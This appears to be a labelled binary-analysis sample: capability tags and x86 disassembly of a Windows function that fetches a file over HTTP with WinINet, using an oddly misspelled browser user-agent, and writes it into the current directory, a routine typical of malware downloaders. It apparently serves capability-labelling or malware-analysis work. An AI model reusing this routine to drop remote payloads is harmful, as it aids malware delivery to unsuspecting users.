Function at 0x40155d
Capabilities:
Connect to http server
Create http request
Download and write a file
Get common file path
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
push edi
mov dword [ebp - 4], ebx
je 0x40157c
push ebx
push dword [ebp + 8]
lea ecx, [ebp - 4]
call fcn.0040f6f9
mov eax, dword [ebp - 4]
push 0x2f
push eax
mov dword [ebp + 8], eax
call fcn.0040eacc
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
je 0x401723
push esi
call fcn.0040e93e
cmp eax, 2
pop ecx
jb 0x401723
push 0x2f
push dword [ebp - 4]
inc esi
mov dword [ebp - 0x14], esi
call fcn.0040eab3
cmp eax, ebx
pop ecx
pop ecx
je 0x401723
mov esi, dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push ebx
push ebx
mov byte [eax], bl
push ebx
inc eax
mov edi, str.Mozilla_4.0__compatible__MSIE_6.0__Windoss_NT_5.1__SV1921_
push edi
mov dword [ebp - 0x10], eax
call esi
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x4015f0
push ebx
push ebx
push ebx
push 1
push edi
call esi
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x401723
push ebx
push ebx
push 3
push ebx
push str.anonymous
push 0x50
push dword [ebp + 8]
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x40170e
push ebx
push 0x80000100
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
push ebx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x401705
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4016fc
mov esi, dword [ebp + 0xc]
push 0x105
mov ecx, esi
call fcn.0040f686
push dword [esi]
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push 0x4164e0
mov ecx, esi
call fcn.0040f73d
push ebx
push dword [ebp - 0x14]
mov ecx, esi
call fcn.0040f73d
push ebx
push 0x80
push 2
push ebx
push 7
push 0x40000000
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x4016fc
mov edi, dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov dword [ebp + 8], ebx
jmp 0x4016e2
cmp dword [ebp + 8], ebx
jbe 0x4016f1
push dword [ebp + 8]
call fcn.0040ec9c
pop ecx
mov esi, eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
push esi
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x14]
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp esi, ebx
je 0x4016e2
push esi
call fcn.0040ecaa
pop ecx
push ebx
push ebx
lea eax, [ebp + 8]
push eax
push dword [ebp - 8]
call edi
test eax, eax
jne 0x4016a4
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 4]
call fcn.0040f6f4
mov al, bl
jmp 0x40172d
lea ecx, [ebp - 4]
call fcn.0040f6f4
xor al, al
pop edi
pop esi
pop ebx
leave
ret